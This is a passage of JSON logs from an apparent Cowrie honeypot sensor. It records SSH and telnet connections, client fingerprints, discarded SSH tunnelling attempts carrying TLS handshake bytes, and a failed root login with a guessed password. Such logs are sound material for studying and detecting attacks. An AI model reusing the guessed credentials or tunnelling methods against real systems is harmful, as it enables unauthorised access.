Jh,\\xbf1P<\\xc0,0\\xa2\\xf3\\x13g\\xf0s\\x85\\xff5\\xdb\\xeb\\x8e~\\xd0|\\xee\\x9d\\xae\\x84\\xf9\\xe7>\\x00\"zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xea\\xea\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 2\\xce\\x12c\\xc7\\xa8)\\xa6cg\\x87\\n\\x07\\xa9a1nPa\\xb8\\x1b\\xf9o\\xbc\\xafw\\x87\\x8dl\\xd7Fm\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:52.262078Z","src_ip":"123.27.168.40","session":"ed25288cb535","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:52.625529Z","src_ip":"123.27.168.40","session":"ed25288cb535","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.80.37.177","src_port":48978,"dst_ip":"159.203.135.109","dst_port":23,"session":"186c981bbc87","protocol":"telnet","message":"New connection: 114.80.37.177:48978 (159.203.135.109:23) [session: 186c981bbc87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:53.577579Z"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:54.095112Z","session":"81ae24d7f43f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:54.121235Z","src_ip":"23.148.145.132","session":"81ae24d7f43f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x91\\xa6_S\\xf2\\xbd>\\x8a9\\xe1 \\xc7\\xf9\\x7f\\xe9!m\\x98\\x03[\\x84\\x16\\xcbv\\x80A\\x8d\\xd1\\x1a/\\xea\\x81 \\xf06nu\\xc8\\x9e\\xa8Rf\\xb5 K\\xd9\\xe7E\\x81\\xac\\x08\\xf7\\x1f\\xcd\\xf6\\xd2\\x97\\x0cX\\xf9\\xf7\\x7f\\xbc\\xd5;\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 4(U\\x1cp\\x0e\\xfdCzm'\\xd22\\xabV[\\xb8\\x17l\\xc4\\x00\\\\\\xd9\\xc0\\x183\\xab\\x9c\\xc97\\xc3\\x14\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x91\\xa6_S\\xf2\\xbd>\\x8a9\\xe1 \\xc7\\xf9\\x7f\\xe9!m\\x98\\x03[\\x84\\x16\\xcbv\\x80A\\x8d\\xd1\\x1a/\\xea\\x81 \\xf06nu\\xc8\\x9e\\xa8Rf\\xb5 K\\xd9\\xe7E\\x81\\xac\\x08\\xf7\\x1f\\xcd\\xf6\\xd2\\x97\\x0cX\\xf9\\xf7\\x7f\\xbc\\xd5;\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xaa\\xaa\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xaa\\xaa\\x00\\x01\\x00\\x00\\x1d\\x00 4(U\\x1cp\\x0e\\xfdCzm'\\xd22\\xabV[\\xb8\\x17l\\xc4\\x00\\\\\\xd9\\xc0\\x183\\xab\\x9c\\xc97\\xc3\\x14\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x8a\\x8a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:54.124250Z","src_ip":"23.148.145.132","session":"81ae24d7f43f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:54.173413Z","session":"81ae24d7f43f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:54.189300Z","src_ip":"23.148.145.132","session":"81ae24d7f43f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03*N\\x91t5\\x91\\xc2[\\xa8\\x85\\xfe\\xa2T\\x91\\xf5v\\x98\\xd6\\xe5\\xac\\x14\\xc9\\xd2\\x87\\xe1\\'\\xa4\\x1d\\x1b\\x12\\xac\\x8b @\\xbc\\xb25\\x84\\xf8i\\xf5\\x8b\\x01s\\xd7DOE\\x9e\\xfb\\x98\\xaez=\\x90\\x82\\x9eP%\\x1d%y\\x0f\\x06\\xbf\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8e\\xb0\\xda\\xfe\\x00\\x05E\\x86\\xb6%\\x7f\\x9f\\xe8\\x97\\x06X\\xbcc\\x0f{\\xd8\\xcf\\x1a\\xd8\\xd1\\x8dF5g\\x02\\xef~\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03*N\\x91t5\\x91\\xc2[\\xa8\\x85\\xfe\\xa2T\\x91\\xf5v\\x98\\xd6\\xe5\\xac\\x14\\xc9\\xd2\\x87\\xe1\\'\\xa4\\x1d\\x1b\\x12\\xac\\x8b @\\xbc\\xb25\\x84\\xf8i\\xf5\\x8b\\x01s\\xd7DOE\\x9e\\xfb\\x98\\xaez=\\x90\\x82\\x9eP%\\x1d%y\\x0f\\x06\\xbf\\x00\"JJ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xaa\\xaa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\x8e\\xb0\\xda\\xfe\\x00\\x05E\\x86\\xb6%\\x7f\\x9f\\xe8\\x97\\x06X\\xbcc\\x0f{\\xd8\\xcf\\x1a\\xd8\\xd1\\x8dF5g\\x02\\xef~\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:38:54.192118Z","src_ip":"23.148.145.132","session":"81ae24d7f43f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"30.9","message":"Connection lost after 30.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:39:08.298709Z","src_ip":"23.148.145.132","session":"81ae24d7f43f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.456658601760864,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:39:11.844781Z","src_ip":"107.6.151.170","session":"94aa4006a71e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":54224,"dst_ip":"10.17.0.5","dst_port":22,"session":"652cf5327937","protocol":"ssh","message":"New connection: 27.71.230.31:54224 (10.17.0.5:22) [session: 652cf5327937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:39:12.836492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:39:12.871439Z","src_ip":"27.71.230.31","session":"652cf5327937","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:39:13.077012Z","src_ip":"27.71.230.31","session":"652cf5327937","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password$123","message":"login attempt [root/password$123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:39:16.368227Z","src_ip":"27.71.230.31","session":"652cf5327937","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:39:19.588310Z","src_ip":"27.71.230.31","session":"652cf5327937","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.192686319351196,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:39:24.770144Z","src_ip":"114.80.37.177","session":"186c981bbc87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":38948,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a0f338f0b5a","protocol":"telnet","message":"New connection: 172.81.62.90:38948 (159.203.135.109:23) [session: 7a0f338f0b5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:39:29.060713Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":55922,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c504a11bd62","protocol":"ssh","message":"New connection: 23.175.50.47:55922 (10.17.0.5:22) [session: 3c504a11bd62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:39:57.955305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:39:57.960833Z","src_ip":"23.175.50.47","session":"3c504a11bd62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:39:58.059079Z","src_ip":"23.175.50.47","session":"3c504a11bd62","protocol":"ssh"}
